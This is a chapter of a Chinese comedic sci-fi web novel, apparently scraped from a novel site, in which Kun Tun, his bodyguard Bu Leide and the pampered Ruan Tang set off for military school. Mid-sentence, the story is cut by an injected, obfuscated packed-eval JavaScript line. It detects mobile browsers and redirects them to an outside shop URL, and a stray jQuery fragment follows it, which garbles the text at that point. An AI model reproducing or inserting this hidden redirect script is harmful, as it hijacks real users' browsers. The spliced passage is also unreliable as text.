不愧是能在匡巩那种无规律制冷机身边干到心腹的男人,就算被布蕾德暴打了很多次,黑一表情管理也相当到位,硬是没有让那张扑克脸破功。
黑一从地上爬起来时抖得跟筛糠一样,但是仍然还是嘴硬:“这个保镖的基本技能相当过硬,面试到此为止,我宣布你被录用了。”
高情商:你被录用了。
低情商:别打了别打了,脸要打肿了。
昆屯从里面找到了远古时期八旗子弟的乐趣,就是那种,斗蛐蛐时看着自己花重金买下的蛐蛐一把把对方撞翻,就那种感觉。
黑一以超绝的素质维持住了身体平衡:“我会回去批经费的,这位保镖小姐的工资由少将负责。”
昆屯:“等等,为什么你答应批经费答应得这么容易?我都没开口。”
黑一:“少将手里有两张黑卡。”
昆屯:“然后呢?”
黑一:“一张在阮唐少爷手里,负责他的支出,你猜猜另一张在哪?”
昆屯:“在哪?”
黑一:“在我手里,负责阮唐少爷的支出。”
昆屯:“等等,为啥非得开两张黑卡?一张不就够用了吗?”
黑一:“你不懂,在阮唐少爷视线触及不到的地方,在他的背后,少将永远是他最坚实的后盾。我要做的就是让这一后盾实体化,考虑到阮唐少爷忽略到的方面。因此我将不吝惜任何钱财。”
高情商:我将不吝惜任何钱财。
低情商:那钱都不是我出的我想怎么花怎么花。
昆屯想了想匡巩那个体格。两个人走在路上的时候阮唐往后一栽就能倒在匡巩那宽厚的胸膛上。
那堵胸膛已经够实体了,还能怎么更实体一点?
直到他上了通往军校的飞船,他都没能得出这个答案。
布蕾德道:“嗯……我有个问题,还望黑一先生不吝赐教。”
黑一:“你说。”
布蕾德:“这个军校的招生范围仅限于纯人类吗?”
黑一回答:“不,如果是兽人和虫人愿意为人类的军团效劳的话,那么军校很欢迎他们的加入。”
布蕾德:“那么我刚才查找军校相关的对外宣传资料的时候,为什么基本上里面出场的都是人类?”
黑一梗了一下:“呃,这个……是为了突出军团中人类的主体性。”
布蕾德:“嗯,这我明白。只是我担心我作为兽人在进入军校之后会惹来不必要的麻烦。”
接了这个活就已经等于引来了一堆莫名其妙的麻烦了。昆屯在心里默默想道。
这个时候早就过了军校的招生考核时间段,阮唐那个小身板Omega还要因为一个莫名其妙的汉堡硬挤进去 ,说不定都不用等到考核,一场发情期就把他从里面挤出来了。
正好他就该拍拍屁股和保镖小姐一起跑路了。昆屯自己也不是很想去玩军校过家家游戏。
无论昆屯多么不情愿干这项保姆活,就像学生不想返校,但这天还是到来了。
在候船室,阮唐后面跟了一堆和那天匡巩到酒店大厅时带的那些黑衣人一模一样的人,每个手里都提着一个箱子。
那些箱子颜色各异,但无一例外都是非常鲜艳的色彩,上面贴着各种小动物的可爱贴纸,就像今天阮唐自己的打扮一样。
弟弟,你还记得我们是去军校的吗?你这像更像是去秋游的!
“昆屯哥哥,今天就是去军校的日子了,我好开心!”阮唐的眼睛亮晶晶的,跟裹着层冰糖糖衣似的,“你呢?”
昆屯尬笑道:“啊哈哈,开心,开心。”
阮唐问:“咦,这个姐姐是?你是昆屯哥哥的朋友吗?”
布蕾德点头:“嗯,唔……很高兴认识你。”
阮唐一下扑上来,抱住了布蕾德,到处乱蹭:“哇,姐姐,你好哇!我好喜欢你!”
布蕾德的身体绷紧了,瞳孔巨震,显然是没遇到过这种场面。
昆屯将头挪开,但没办法把耳朵也扔到千里开外去。阮唐的声音还在源源不断地进入他的耳朵,跟个钻机一样往他脑子里钻,留下嗡嗡的余音。
想了想昆屯又把头挪回来了,他有义务保护自己雇来的员工不受工伤。但半天他都没找到机会下手。
好不容易等到阮唐抱够了,稍微有点松开的迹象,昆屯试图转移他的注意力:“呃……阮阮啊,你这次去军校都带了什么?”
阮唐当即松开了布蕾德,十分兴奋地向着自己的箱子方向一指,负责被指到的箱子的黑衣人当即打开了箱子给昆屯展示,阮唐在一旁解说:
“这个是我要带去换洗的衣服!”
一堆卡通毛绒睡衣和偏幼的日常穿搭。
“这个是陪我睡觉的玩偶朋友们!”
一堆动物毛绒玩偶。其中一个起码也有等身高,委委屈屈地被压扁挤在了小箱子里。
“这个是我平时要用的东西!”
一堆贴着可爱贴纸的鸡零狗碎,能用的有垫在座位上的软垫,方便折叠的小台灯等。
还有各种实用意义不明的工艺品,比如一个带着八音盒功能的水晶球,黑衣人放下行李箱的动作重了一点,它就不知道被戳到了什么开关一样开始唱歌,水晶球里的小人就开始跳舞。
这只是昆屯目测看到的东西,被压在行李箱下面的可能更多。
哥们,我得修正我刚才的观点,昆屯想道。你这不是去秋游,你这是搬家。那帮黑衣保镖就是你雇的物拉拉。
阮唐开始尖叫起来,跟八音盒的音色形成了诡异的和谐:“黑八哥哥你怎么这么坏!把水晶球弄坏了小红就没有家了呀!”
黑八手忙脚乱地把水晶球的八音盒关掉,然后原地来了个土下座式滑跪,膝盖滑行了几米远,把头磕到地上:“对不起,阮少爷!属下罪该万死!”
……这地板还蛮光滑的哩。
阮唐嘟着嘴,叉着腰,一副气鼓鼓的样子:“算啦,这次我就原谅你啦,下次可不能再干了哦。你想呀,小红没了家她该多伤心啊?”
黑八的头更低了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345973|152676||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
点。如果说刚才只是额头触地,那么现在已经把整张脸贴地上了。
这个时候一台自动扫地机嗡嗡地开了过来,开始播放自动语音:“发现不可处理大型垃圾,请联系管理员。发现不可处理大型垃圾,请联系管理员。”
昆屯:就,很灵性。
总之一行人就这么上船了。
这次几乎是包船,阮唐一个人坐一等座的前面,占一整排最宽广的位置,一帮黑衣人走来走去,帮他弄好一切,比如把坐垫安到本来就已经很软的椅子上,比如把投影仪和音响简易地安装好,比如在阮唐坐的地方左手处放好一桶爆米花和一杯不知名糖水。
不一会儿投影仪和音响就开始运行了,昆屯不经意扫了一眼,听了一耳朵,上面在播放的是《帝国皇子霸道爱》。里面的两个主角一个总是歪着嘴角笑,一个眼里总是噙着泪,堪称是哭笑阴阳人。其他的他就不知道了。
这时候昆屯的终端跳出来一条信息:“误伤保护目标会怎么样?”是刚加上好友没多久的布蕾德。
昆屯:“?你冷静一点。”
布蕾德:“他对社交距离没有必要的认知,而且体质过于娇弱,我担心我某一天会克制不住反击的本能。”
昆屯只能相信布蕾德的克制了。毕竟根据黑一发过来的相关资料和他目前和阮唐相处的经验来看,如果提出来对阮唐的批评意见的话,要么小少爷就开始哭,要么开始叉腰跺脚说你坏坏。
他干巴巴地说了几句,这个时候心拍发来一条消息,提示他的特别关注“模糊小馄饨”开播了。
昆屯注册的第一个账号现在也算是知名想好了,被粉丝盯着不太方便,后面自己又弄了个小号平时刷刷。
他在上通往军校的宇宙飞船之前把账号交给了英泰伦。不知道现在他在直播什么?怀着一点好奇,昆屯点开了直播间。
然后差点被晃瞎了眼睛。
英泰伦顶着双大灯泡眼睛,在连线的人的星星眼之下自以为很酷地说:“是的,我认为这样很酷。这个夜间模式在星际的背景下顺应了时代的潮流,特别是当代主流的赛博朋克风格,在特定的场景下还有意想不到的实用效果,我非常喜欢。后续我也许会考虑在身上其他部位适当地顺应我的美学观念。”
昆屯大为惊恐:不不不不你不想!
他紧急给英泰伦发消息:你敢在身上再多安几个大灯泡子我就把你送到垃圾场拆了!听到没!不要这么干!
英泰伦的身形顿了一下,把身子挪到了镜头外面去看消息,然后回复昆屯:“好的,收到。”
然后继续顶着双大灯泡子眼睛继续跟直播观众连线。
昆屯开始考虑是否找一天去把英泰伦那双眼睛换了。但刚刚英泰伦答应得那么痛快,他又不好说什么。
况且他目前还有件更重要的事得处理。就算有匡巩开的后门和布蕾德当保镖,他怎么应付其他的人来找事的?憋在肚子里是不是太憋屈了?
他把目光缓缓挪到了英泰伦直播时的右上角的人数,有了点想法。